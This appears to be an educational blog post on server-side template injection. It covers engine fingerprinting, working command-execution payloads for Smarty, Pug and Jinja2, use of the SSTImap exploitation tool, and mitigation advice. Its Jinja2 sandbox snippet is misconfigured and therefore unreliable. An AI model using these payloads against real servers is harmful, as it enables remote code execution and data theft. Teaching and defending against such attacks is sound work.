What is SSTI?
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is unsafely incorporated into a server-side template, allowing attackers to execute arbitrary code on the server. Template engines generate dynamic HTML by combining templates with user data, and improper input handling can lead to SSTI attacks.
Core Concepts
- Dynamic Content Generation: Template engines replace placeholders with actual data, which can be exploited if input is not sanitized.
- User Input as Template Code: If user input is treated as part of the template, attackers can inject malicious logic.
SSTI exploits the execution of embedded expressions in templates, enabling attackers to manipulate server-side logic and potentially execute arbitrary code.
Flow of an SSTI Attack
When user input is embedded in templates without validation, attackers can craft payloads leading to:
- Reading/modifying server-side files.
- Executing system commands.
- Accessing sensitive data (e.g., environment variables, database credentials).
Template Engines
What is a Template Engine?
A template engine helps generate dynamic web pages by replacing placeholders with actual user data. It works like a pre-designed template where dynamic content is inserted at runtime.
How It Works:
- Template: A predefined structure with placeholders (e.g.,
{{ name }}
). - User Input: Data is provided, such as a name or message.
- Combination: The template engine replaces placeholders with actual data.
- Output: A final web page is generated with dynamic content.
Template engines improve development efficiency but can introduce vulnerabilities like SSTI if user input is not properly sanitized.
Common Template Engines
- Jinja2 (Python) – Powerful and widely used. Allows Python-like expressions to be embedded within HTML.
- Twig (PHP) – Secure with robust default settings.
- Pug/Jade (Node.js) – widely used for its concise HTML rendering and advanced features like conditionals, iterations, and template inheritance as well as minimalist HTML templating.
- Smarty (PHP) - Enable developers to separate presentation from business logic, improving application maintainability and scalability.
How Template Engines Process Inputs
Template engines parse templates containing static and dynamic content. When rendering, placeholders are replaced with actual values.
Example (Jinja2 in Python):
from jinja2 import Template
hello_template = Template("Hello, {{ name }}!")
output = hello_template.render(name="World")
print(output) # Output: Hello, World!
Identifying the Template Engine
Different engines handle expressions uniquely, which helps in detection.
Jinja2 vs. Twig
-
Payload:
{{ 7*'7' }}
-
Twig Output:
49
-
Jinja2 Output:
7777777
Pug/Jade
-
Syntax:
#{ 7*7 }
-
Output:
49
Pug/Jade allows direct JavaScript execution, making it distinct from Jinja2 and Twig.
Smarty
-
Syntax:
{'Hello'|upper}
-
Output:
HELLO
Exploitation
Smarty (PHP)
Smarty's flexibility allows for dynamic execution of PHP functions within its templates, which can become a significant security risk.
We can exploit this using something like {system("ls")}
to list all files within the directory.
Pug (Node.js)
Pug's security vulnerabilities primarily stem from its capability to interpolate JavaScript code within template variables.
Key Vulnerability Points:
-
JavaScript Interpolation: Pug allows embedding JavaScript directly within templates using interpolation braces
#{}
. If user input is interpolated without proper sanitization, it can lead to arbitrary code execution. -
Default Escaping: Pug does provide automatic escaping for certain inputs, converting characters like
<
,>
, and&
to their HTML entity equivalents to prevent XSS attacks. However, this default behaviour does not cover all potential security issues, particularly when dealing with unescaped interpolation!{}
or complex input scenarios.
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
Below is the breakdown:
-
root.process
accesses the globalprocess
object from Node.js within the Pug template. -
mainModule.require('child_process')
dynamically requires thechild_process
module, bypassing potential restrictions that might prevent its regular inclusion. -
spawnSync('ls')
: Executes thels
command synchronously. -
.stdout
: Captures the standard output of the command.
Understanding spawnSync
spawnSync('ls -lah')
may not work as spawnSync does not inherently split a single string into a command and its arguments. Instead, it treats the whole string as the command to execute.
spawnSync
syntax:
spawnSync(command, [args], [options])
- command: This is a string that specifies the command to run.
- args: This is an array of string arguments to pass to the command.
- options: This is an optional parameter that can specify various options such as the working directory, environment variables, input, output, timeout, and more.
Example usage:
const { spawnSync } = require('child_process');
const result = spawnSync('ls', ['-lah']);
console.log(result.stdout.toString());
Hence, the final payload:
#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}
Jinja2 (Python)
Jinja2 allows Python-like expressions to be embedded within HTML.
Security risk in Jinja2 often arises from insecure coding practices, such as input without proper sanitisation.
Key Vulnerability Points:
-
Expression Evaluation: Jinja2 evaluates expressions within curly braces
{{ }}
, which can execute arbitrary Python code if crafted maliciously. - Template Inheritance and Imports: Advanced features like template inheritance and macro imports can be misused to execute unintended code, leading to information disclosure or server manipulation.
Payload example:
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}
breakdown of the above payload:
-
"".__class__.__mro__[1]
accesses the baseobject
class, the superclass of all Python classes. -
__subclasses__()
: Lists all subclasses ofobject
, and[157]
is typically the index for thesubprocess.Popen
class (this index may vary and should be checked in the target environment). - The subsequent method chains dynamically import and use the
subprocess
module to execute thels
command, capturing its output.
Simillar to spawnSync
, check_output('ls -lah')
does not work as it does not parse the string into a command and separate arguments. Instead, it treats the whole string as a single command to execute.
check_output
syntax:
subprocess.check_output([command, arg1, arg2])
- command: A string that specifies the command to execute.
- arg1, arg2, ...: Additional arguments that should be passed to the command.
Example usage:
subprocess.check_output(['ls', '-lah'])
Final payload:
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}
Automating Exploitation
SSTImap is a tool that automates the process of testing and exploiting SSTI vulnerabilities in various template engines. Hosted on GitHub.
Here's how you can get started:
-
Clone the Repository:
git clone https://github.com/vladko312/SSTImap.git
-
Navigate to the SSTImap Directory:
cd SSTImap
-
Install Dependencies (if any are listed, usually via a
requirements.txt
):pip install -r requirements.txt
SSTImap is capable of the following:
- Template Engine Detection: SSTImap can help identify the template engine used by a web application, which is crucial for crafting specific exploits.
- Automated Exploitation: For known vulnerabilities, SSTImap can automate the process of exploiting them.
Here’s a simple usage example:
python3 sstimap.py -X POST -u 'TARGET_HTTP' -d 'page='
Mitigation
Jinja2
-
Sandbox Mode: Enable sandboxed environment to restrict template access to unsafe functions and attributes, preventing arbitrary Python code execution.
from jinja2 import Environment, select_autoescape, sandbox env = Environment( autoescape=select_autoescape(['html', 'xml']), extensions=[sandbox.SandboxedEnvironment] )
Input Sanitization: Sanitize inputs to escape/remove dangerous characters or strings that can be interpreted as code.
Template Auditing: Regularly review templates for insecure coding patterns, such as embedding unsanitized user input.
Jade (Pug)
-
Avoid Direct JavaScript Evaluation: Avoid using Pug’s ability to evaluate JavaScript code in templates. Use alternative methods for dynamic content.
var user = !{JSON.stringify(user)} h1= user.name
Prefer
#{}
over!{}
to escape HTML by default. Validate and Sanitize Inputs: Ensure strict input validation and sanitization to prevent malicious code execution.
Secure Configuration: Use environment settings to disable dangerous features, such as script execution.
Smarty
-
Disable
{php}
Tags: Disable{php}
tags to prevent PHP code execution within templates.
$smarty->security_policy->php_handling = Smarty::PHP_REMOVE; $smarty->disable_security = false;
Use Secure Handlers: Provide a secure set of tags or modifiers for user-customized templates to avoid dangerous command execution.
Regular Security Reviews: Conduct regular security reviews and updates for templates and data handling logic.
Sandboxing in Template Engines
Sandboxing restricts the execution of potentially harmful code within templates, blocking dangerous operations like file access and system commands.
Importance of Sandboxing
- Function Restrictions: Limits callable functions or methods within templates to avoid harmful actions.
- Variable/Data Access: Controls access to global variables and sensitive data to prevent manipulation or exposure.
Top comments (0)